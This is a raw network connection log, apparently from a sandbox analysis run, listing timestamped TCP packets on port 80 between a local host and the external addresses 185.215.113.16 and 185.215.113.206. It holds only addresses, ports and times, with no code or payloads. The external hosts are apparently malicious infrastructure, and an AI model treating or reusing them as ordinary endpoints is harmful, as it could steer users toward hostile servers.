Dec 20, 2024 16:53:38.864803076 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.865643978 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.865658045 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.865668058 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.865675926 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.865688086 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.865703106 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.865730047 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.865782976 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.866544962 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.866559982 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.866573095 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.866610050 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.866624117 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.866636038 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.866636992 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.866672993 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.866724968 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.867501020 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.867522001 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.867536068 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.867549896 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.867571115 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.867624044 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.868153095 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.868165970 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.868180037 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.868192911 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.868206024 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.868258953 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.868258953 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.869132042 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.869147062 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.869158030 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.869170904 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.869184017 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.869195938 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.869209051 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.869235992 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.869235992 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.869266033 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.870049953 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.870071888 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.870085955 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.870101929 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.870115042 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.870127916 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.870160103 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.870160103 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.870186090 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.871083975 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.871098042 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.871109962 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.871123075 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.871135950 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.871157885 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.871206999 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.872054100 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.872070074 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.872081995 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.872093916 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.872107983 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.872112989 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.872121096 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.872150898 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.872176886 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.946809053 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.946926117 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.946940899 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.947155952 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.947243929 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.947285891 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.947299004 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.947336912 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.947336912 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.947815895 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.947988033 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.948000908 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.948014021 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.948028088 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.948044062 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.948057890 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.948059082 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.948142052 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.948906898 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.948920965 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.948940039 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.948952913 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.948965073 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.948978901 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.948982000 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.949014902 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.949058056 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.949839115 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.949862003 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.949873924 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:38.950053930 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:38.999802113 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.022367001 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.022402048 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.022414923 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.022447109 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.022686005 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.022707939 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.022738934 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.022742033 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.022751093 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.022797108 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.023395061 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.023406029 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.023417950 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.023430109 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.023461103 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.023461103 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.024081945 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.024094105 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.024105072 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.024118900 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.024147987 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.024147987 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.024704933 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.024728060 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.024739027 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.024775982 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.024780035 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.024789095 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.024790049 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.024801016 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.024840117 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.053555012 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.053618908 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.053637981 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.053649902 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.053690910 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.053958893 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.053980112 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.053992987 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.054044008 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.054524899 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.054543018 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.054555893 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.054569006 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.054584026 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.054627895 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.055109978 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.055130959 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.055172920 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.055186033 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.055212975 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.055859089 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.055871964 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.055882931 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.055893898 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.055900097 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.055907011 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.055918932 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.055936098 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.055964947 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.056793928 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.056804895 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.056811094 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.056822062 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.056833029 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.056844950 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.056859970 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.056910038 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.057751894 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.057764053 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.057775021 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.057786942 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.057826042 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.057826042 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.058319092 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.058331966 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.058342934 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.058357000 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.058367968 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.058393955 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.058923960 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.058999062 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.059001923 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.059015036 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.059026003 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.059039116 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.059057951 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.059103966 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.059995890 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.060008049 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.060018063 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.060029984 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.060041904 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.060051918 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.060055017 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.060092926 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.060092926 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.060940027 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.060954094 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.060965061 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.060977936 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.060988903 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.061002016 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.061012030 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.061034918 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.061059952 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.061964035 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.061976910 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.061989069 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.062001944 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.062014103 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.062041044 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.062048912 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.062048912 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.062128067 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.062877893 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.062894106 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.062906027 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.062917948 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.062941074 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.062948942 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.063040972 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.063839912 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.063853025 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.063863993 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.063878059 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.063890934 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.063903093 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.063904047 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.063904047 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.063961029 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.064748049 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.064760923 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.064774036 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.064819098 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.064819098 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.138916969 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.138963938 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.138978958 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.139050961 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.139364004 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.139378071 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.139390945 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.139446974 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.139446974 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.139828920 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.139935017 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.139993906 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.140007019 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.140019894 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.140033960 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.140047073 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.140058041 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.140094042 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.140989065 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.141002893 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.141020060 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.141036987 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.141050100 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.141067028 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.141105890 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.141922951 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.141969919 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.141983986 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.142024994 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.187407970 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.214503050 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.214518070 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.214530945 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.214817047 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.214896917 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.214910030 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.214922905 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.214936972 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.214989901 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.214989901 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.215468884 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.215490103 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.215527058 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.215540886 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.215580940 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.215580940 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.216183901 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.216197014 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.216209888 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.216270924 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.216270924 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.216700077 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.216712952 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.216723919 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.216737986 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.216752052 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.216805935 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.216805935 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.217588902 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.217602968 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.217670918 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.245760918 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.245866060 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.245878935 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.245909929 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.245928049 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.246208906 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.246221066 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.246232986 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.246309996 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.246659040 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.246704102 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.246717930 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.246731997 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.246745110 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.246752977 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.246803999 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.246803999 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.247256994 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.247277021 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.247289896 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.247302055 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.247319937 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.247333050 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.247378111 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.248068094 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.248080969 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.248095036 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.248110056 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.248121977 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.248173952 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.248173952 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.249021053 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.249034882 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.249046087 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.249058962 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.249070883 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.249083996 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.249097109 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:39.249100924 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.249125957 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.296700001 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:39.427882910 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:42.504559994 CET	49774	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:53:42.624140978 CET	80	49774	185.215.113.206	192.168.2.5
Dec 20, 2024 16:53:42.624413013 CET	49774	80	192.168.2.5	185.215.113.206
